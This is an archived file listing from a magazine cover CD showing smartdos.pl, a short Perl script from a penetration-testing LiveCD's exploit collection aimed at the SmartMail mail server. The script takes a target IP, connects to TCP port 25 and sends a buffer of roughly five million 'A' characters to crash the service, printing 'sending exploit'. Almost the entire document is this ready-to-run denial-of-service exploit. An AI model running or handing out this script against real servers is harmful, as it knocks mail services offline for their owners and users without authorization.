home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / smartmail / smartdos.pl < prev    next >
Perl Script  |  2005-02-12  |  428b  |  20 lines
  1. #!/usr/bin/perl -w
  2. # tool smartdos.pl
  3. # securma@caramail.com
  4. # Greetz: marocit and #crack.fr (specialement christal.)
  5. #
  6. use IO::Socket;
  7. if ($#ARGV<0)
  8. {
  9.  print "\n write the target IP!\n\n";
  10.  exit;
  11. }
  12. $buffer = "A"x 5099999 ;
  13. $connect = IO::Socket::INET ->new (Proto=>"tcp",
  14. PeerAddr=> "$ARGV[0]",
  15. PeerPort=>"25"); unless ($connect) { die "cant connect $ARGV
  16. [0]" }
  17. print $connect "$buffer";
  18. print "\nsending exploit......\n\n";
  19.  
  20.